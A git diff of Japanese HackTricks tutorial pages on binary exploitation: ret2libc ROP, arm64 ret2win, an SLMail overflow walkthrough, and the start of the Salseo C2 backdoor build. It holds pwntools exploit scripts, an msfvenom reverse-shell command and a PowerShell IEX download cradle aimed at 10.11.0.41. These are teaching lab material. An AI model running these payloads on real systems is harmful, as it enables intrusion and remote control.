は`PUTS_GOT` 内の**内容**(**puts 関数のメモリ内のアドレス**)を**読み取り**、それを**出力**します。\ -最後に、**main 関数が再度呼び出され**、オーバーフローを再度利用できます。 +次に、ガジェット `POP_RDI` の**アドレス**が設定され、次のアドレス (`FUNC_GOT`) が**RDI** レジスタに保存されます。これは、`PUTS_GOT` の**アドレス**をメモリ内の puts 関数のアドレスが `PUTS_GOT` によって指し示されるアドレスとして**渡して puts を呼び出したい**ためです。\ +その後、`PUTS_PLT` が呼び出されます(**RDI** に `PUTS_GOT` が含まれています)ので、puts は `PUTS_GOT` 内の**内容**(**メモリ内の puts 関数のアドレス**)を**読み取り**、それを**出力**します。\ +最後に、**main 関数が再度呼び出され**、オーバーフローを再度悪用できます。 この方法で、puts 関数を**だまして**、**puts** 関数の**メモリ内のアドレス**(**libc** ライブラリ内にある)を**出力**させました。そのアドレスがわかったので、**使用されている libc のバージョンを調べる**ことができます。 -![](<../../../../.gitbook/assets/image (1046).png>) +![](<../../../../.gitbook/assets/image (1049).png>) **ローカル**バイナリを**悪用**しているため、**使用されている libc のバージョンを特定する必要はありません**(単に `/lib/x86_64-linux-gnu/libc.so.6` でライブラリを見つければよい)。\ ただし、リモートエクスプロイトの場合は、次に説明する方法で見つけることができます: @@ -152,11 +152,11 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) Web ページ [https://libc.blukat.me/](https://libc.blukat.me) で使用されているライブラリを検索できます。\ また、**libc** の発見されたバージョンをダウンロードすることもできます -![](<../../../../.gitbook/assets/image (218).png>) +![](<../../../../.gitbook/assets/image (221).png>) ### 3.2- libc バージョンの検索(2) -また、次のようにすることもできます: +次のようにすることもできます: * `$ git clone https://github.com/niklasb/libc-database.git` * `$ cd libc-database` @@ -168,13 +168,13 @@ Web ページ [https://libc.blukat.me/](https://libc.blukat.me) で使用され * Libc シンボル名: `puts` * リークした libc アドレス: `0x7ff629878690` -最も可能性の高い**libc**を特定できます。 +最も可能性の高い**libc**がどれかを特定できます。 ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -2つのマッチが見つかりました(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください: +次の2つのマッチを取得します(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -195,7 +195,7 @@ gets ``` ## 4- libcアドレスの特定と悪用 -この時点で、使用されているlibcライブラリを知っているはずです。ローカルバイナリを悪用しているので、単に`/lib/x86_64-linux-gnu/libc.so.6`を使用します。 +この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、単に次のようにします:`/lib/x86_64-linux-gnu/libc.so.6` したがって、`template.py`の冒頭で、**libc**変数を次のように変更します:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` @@ -211,7 +211,7 @@ log.info("libc base @ %s" % hex(libc.address)) **最終的なlibcベースアドレスは00で終わる必要がある**ことに注意してください。そうでない場合、間違ったライブラリが漏洩している可能性があります。 {% endhint %} -次に、`system`関数へのアドレスと文字列_"/bin/sh"_への**アドレス**は、**libc**の**ベースアドレス**から**計算**され、与えられた**libcライブラリ**になります。 +次に、`system`関数へのアドレスと文字列_"/bin/sh"_への**アドレス**は、**libc**の**ベースアドレス**から**計算**され、**与えられたlibcライブラリ**になります。 ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -230,20 +230,20 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` -Let's explain this final ROP.\ -最後のROP (`rop1`) は再びmain関数を呼び出し、その後**オーバーフローを再度悪用**できます(そのために`OFFSET`が再度ここにある)。その後、`POP_RDI`を呼び出して _"/bin/sh"_ の**アドレス**(`BINSH`)を指し、**system** 関数(`SYSTEM`)を呼び出すことを望みます。なぜなら _"/bin/sh"_ のアドレスがパラメータとして渡されるからです。\ -最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**きちんと終了**し、アラートが生成されないようにします。 +## 最終のROPを説明しましょう。\ +最後のROP (`rop1`) は再びmain関数を呼び出して終了しましたので、**オーバーフロー**を再度利用できます(そのために`OFFSET`が再度ここにあります)。その後、`POP_RDI`を呼び出して _"/bin/sh"_ のアドレス (`BINSH`) を指し、**system** 関数 (`SYSTEM`) を呼び出します。なぜなら _"/bin/sh"_ のアドレスがパラメータとして渡されるからです。\ +最後に、**exit関数のアドレス**が呼び出されるので、プロセスが**きちんと終了**し、アラートが生成されません。 -**この方法でエクスプロイトは \_/bin/sh**\_\*\* シェルを実行します。\*\* +**この方法で、エクスプロイトは \_/bin/sh**\_\*\* シェルを実行します。\*\* -![](<../../../../.gitbook/assets/image (162).png>) +![](<../../../../.gitbook/assets/image (165).png>) -## 4(2)- ONE\_GADGET の使用 +## 4(2)- ONE\_GADGETの使用 -[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system** と **"/bin/sh"** を使用せずにシェルを取得することもできます。**ONE\_GADGET** は、libcライブラリ内で1つの **ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ -ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、`[rsp+0x30] == NULL` のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 +[**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)を使用して、**system** と **"/bin/sh"** を使用する代わりにシェルを取得することもできます。**ONE\_GADGET** は、libcライブラリ内で1つの **ROPアドレス**だけを使用してシェルを取得する方法を見つけます。\ +ただし、通常、いくつかの制約があります。最も一般的で回避しやすいものは、`[rsp+0x30] == NULL` のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 -![](<../../../../.gitbook/assets/image (751).png>) +![](<../../../../.gitbook/assets/image (754).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 @@ -258,9 +258,9 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 ## Common problems -### MAIN\_PLT = elf.symbols\['main'] not found +### MAIN\_PLT = elf.symbols\['main'] が見つかりません -もし"main"シンボルが存在しない場合、mainコードがどこにあるかを見つけることができます: +"main" シンボルが存在しない場合は、mainコードがどこにあるかを見つけることができます: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: @@ -276,22 +276,22 @@ MAIN_PLT = 0x401080 ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -この**エラー**がすべてのエクスプロイトを作成した後に見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found` +この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に `sh: 1: %s%s%s%s%s%s%s%s: not found` -**"/bin/sh"のアドレスから64バイトを減算**してみてください: +**"/bin/sh"のアドレスから64バイトを引いてみてください**。 ```python BINSH = next(libc.search("/bin/sh")) - 64 ```
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 8357703f6..7f394e9ac 100644 --- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,19 +2,19 @@
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
-[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)でarm64の紹介を見つける。 +[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) でarm64の紹介を見つける。 ```c #include #include @@ -33,13 +33,11 @@ vulnerable_function(); return 0; } ``` -``` -PIEやCanaryなしでコンパイルする: -``` +コンパイル時にPIEとCanaryを無効にしてください。 ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` -## オフセットの検索 +## オフセットの検出 ### パターンオプション @@ -51,13 +49,13 @@ gdb -q ./ret2win pattern create 200 run ``` -
+
-arm64は、レジスタx30(侵害された)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます: +arm64は、レジスタx30(侵害されたレジスタ)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます。 ```bash pattern search $x30 ``` -
+
**オフセットは72 (9x48) です。** @@ -70,22 +68,22 @@ b *vulnerable_function + 0xc run info frame ``` -
+
-`read()`の後にブレークポイントを設定して、`read()`が実行されるまで継続し、13371337などのパターンを設定します。 +`read()`の後にブレークポイントを設定し、`read()`が実行されるまで継続し、13371337のようなパターンを設定します。 ``` b *vulnerable_function+28 c ``` -
+
このパターンがメモリ内のどこに保存されているかを見つけます: -
+
次に:**`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** -
+
## No PIE @@ -98,7 +96,8 @@ ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` Exploit: -悪用: + +**Exploit(攻撃手法):** ```python from pwn import * @@ -118,11 +117,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
+
### Off-by-1 -実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きする代わりに、最後の2バイトのみを `0x06c4` で上書きします。 +実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きするのではなく、**最後の2バイトのみ**を `0x06c4` で上書きします。 ```python from pwn import * @@ -142,21 +141,21 @@ p.send(payload) print(p.recvline()) p.close() ``` -
+
-ARM64における別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけることができます。これは架空の脆弱性における実際のオフバイ**ワン**です。 +ARM64における別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけることができます。これは架空の脆弱性における実際のオフバイ**one**です。 ## PIEを使用する場合 {% hint style="success" %} -バイナリを**`-no-pie`引数なしで**コンパイルしてください +バイナリを**`-no-pie`引数なしで**コンパイルします {% endhint %} ### オフバイ2 -リークがない場合、勝利関数の正確なアドレスはわかりませんが、関数のバイナリからのオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(**0x7d4**)をリークさせることが可能であり、そのオフセットを使用するだけです: +リークがない場合、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(**0x7d4**)をリークさせることが可能であり、そのオフセットを使用するだけです: -
+
```python from pwn import * @@ -180,12 +179,12 @@ p.close() ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** diff --git a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index c89009a5d..55beca58e 100644 --- a/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,27 +2,27 @@
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
-## **SLMailサービスのインストールを開始** +## **SLMailサービスのインストールを開始する** ## SLMailサービスの再起動 -**SLMailサービスを再起動する必要があるたびに**、Windowsコンソールを使用して行うことができます。 +**SLMailサービスを再起動する必要があるたびに**、Windowsコンソールを使用して行うことができます: ``` net start slmail ``` -![](<../.gitbook/assets/image (985).png>) +![](<../.gitbook/assets/image (988).png>) ## 非常に基本的なPythonエクスプロイトテンプレート ```python @@ -54,47 +54,49 @@ print "Could not connect to "+ip+":"+port **File --> Attach** -![](<../.gitbook/assets/image (866).png>) +![](<../.gitbook/assets/image (869).png>) **そしてSTARTボタンを押します** -## **エクスプロイトを送信し、EIPが影響を受けているか確認します:** +## **エクスプロイトを送信し、EIPが影響を受けているかどうかを確認します:** -![](<../.gitbook/assets/image (903).png>) +![](<../.gitbook/assets/image (906).png>) -サービスを中断するたびに、このページの冒頭に示されているように再起動する必要があります。 +サービスを停止させるたびに、このページの冒頭に示されているように再起動する必要があります。 -## EIPを変更するためのパターンを作成する +## **EIPを変更するためのパターンを作成する** -パターンは、以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。 +パターンは、以前にサービスを破壊するために使用したバッファと同じ大きさである必要があります。 -![](<../.gitbook/assets/image (417).png>) +![](<../.gitbook/assets/image (420).png>) ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` -変更したエクスプロイトのバッファを設定し、パターンを設定してエクスプロイトを実行します。 +``` +変更したバッファのエクスプロイトを設定し、パターンを設定してエクスプロイトを実行します。 新しいクラッシュが発生するはずですが、異なるEIPアドレスが表示されます: -![](<../.gitbook/assets/image (633).png>) +![](<../.gitbook/assets/image (636).png>) アドレスがパターン内にあるかどうかを確認します: -![](<../.gitbook/assets/image (415).png>) +![](<../.gitbook/assets/image (418).png>) +``` ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` 見たところ、**バッファのオフセット2606でEIPを変更できる**ようです。 -エクスプロイトのバッファを変更して確認してみましょう: +エクスプロイトのバッファを変更して確認してみてください: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` このバッファを使用すると、EIPがクラッシュした場合、42424242 ("BBBB") を指すはずです。 -![](<../.gitbook/assets/image (871).png>) +![](<../.gitbook/assets/image (874).png>) -![](<../.gitbook/assets/image (89).png>) +![](<../.gitbook/assets/image (92).png>) 動作しているようです。 @@ -108,17 +110,17 @@ buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` 新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さをチェックします -![](<../.gitbook/assets/image (116).png>) +![](<../.gitbook/assets/image (119).png>) -![](<../.gitbook/assets/image (876).png>) +![](<../.gitbook/assets/image (879).png>) -脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。 +脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための多くのスペースがあることがわかります。 -この場合、**0x0209A128から0x0209A2D6まで= 430B**。十分です。 +この場合、**0x0209A128から0x0209A2D6まで= 430B**。 十分です。 ## 悪い文字をチェック -再度バッファを変更します: +再度、バッファを変更します: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -140,27 +142,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` -badcharsは0x00がほとんど常に悪いため、0x01から始まります。 +badchars は 0x00 がほとんど常に悪いため、0x01 から始まります。 -この新しいバッファで無用な文字を削除して、エクスプロイトを繰り返し実行します。 +この新しいバッファを使用して、見つかった無用な文字を削除しながら、エクスプロイトを繰り返し実行します。 例: -この場合、**文字0x0Aを使用しないほうがよい**ことがわかります(文字0x09ではメモリに保存されていません)。 +この場合、**文字 0x0A を使用しないでください**(文字 0x09 ではメモリに保存されていません)。 -![](<../.gitbook/assets/image (108).png>) +![](<../.gitbook/assets/image (111).png>) -この場合、**文字0x0Dが回避されている**ことがわかります: +この場合、**文字 0x0D は回避されている**ことがわかります: -![](<../.gitbook/assets/image (1095).png>) +![](<../.gitbook/assets/image (1098).png>) -## JMP ESPをリターンアドレスとして見つける +## 戻りアドレスとして JMP ESP を見つける 使用中: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -あなたは**メモリマップをリストアップ**します。次の条件を持つDLLを検索します: +次に、**メモリマップをリストアップします**。次の条件を満たすDLLを検索します: - **Rebase: False** - **SafeSEH: False** @@ -168,27 +170,27 @@ badcharsは0x00がほとんど常に悪いため、0x01から始まります。 - **NXCompat: False** - **OS Dll: True** -![](<../.gitbook/assets/image (552).png>) +![](<../.gitbook/assets/image (555).png>) -今、このメモリ内にいくつかのJMP ESPバイトを見つける必要があります。これを実行するには: +次に、このメモリ内にあるいくつかのJMP ESPバイトを見つける必要があります。これを行うには、次のコマンドを実行します: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` -**その後、見つかったアドレスの中から、悪意のある文字を含まないものを選択します:** +**その後、いくつかのアドレスが見つかった場合は、悪意のある文字を含まないものを選択します:** -![](<../.gitbook/assets/image (602).png>) +![](<../.gitbook/assets/image (605).png>) -**この場合、例えば: \_0x5f4a358f**\_ +**この場合、例えば: \_0x5f4a358f**\_ -## シェルコードを作成 +## シェルコードの作成 ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` もしエクスプロイトが機能していないが、機能するはずである場合(ImDebgでシェルコードに到達していることがわかる)、他のシェルコードを作成してみてください(msfvenomを使用して同じパラメーターで異なるシェルコードを作成します)。 -シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してreturn addressにJMP ESPを実行し、エクスプロイトを完成させます: +シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してreturnアドレスにJMP ESPを実行し、エクスプロイトを完成させます: ```bash #!/usr/bin/python @@ -254,9 +256,9 @@ EXITFUNC=thread -e x86/shikata_ga_nai HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/c2/salseo.md b/c2/salseo.md index 90d064c58..88e89a3cb 100644 --- a/c2/salseo.md +++ b/c2/salseo.md @@ -2,169 +2,156 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
## バイナリのコンパイル -GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。 +GitHub からソースコードをダウンロードし、**EvilSalsa** と **SalseoLoader** をコンパイルします。コードをコンパイルするには **Visual Studio** が必要です。 これらのプロジェクトを、使用するWindowsボックスのアーキテクチャ用にコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします)。 -Visual Studio内で、**左側の"Build"タブ**内の\*\*"Platform Target"\*\*でアーキテクチャを選択できます。 +Visual Studio内で、**"Platform Target"** で **左側の "Build" タブ** でアーキテクチャを選択できます。 -(\*\*このオプションが見つからない場合は、\*\*"Project Tab"**をクリックして、次に**" Properties"\*\*をクリックします) +(\*\*このオプションが見つからない場合は、**"Project Tab"** を押し、次に **" Properties"** をクリックします) -![](<../.gitbook/assets/image (132).png>) +![](<../.gitbook/assets/image (839).png>) -次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): +その後、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): -![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) +![](<../.gitbook/assets/image (381).png>) ## バックドアの準備 -まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます: 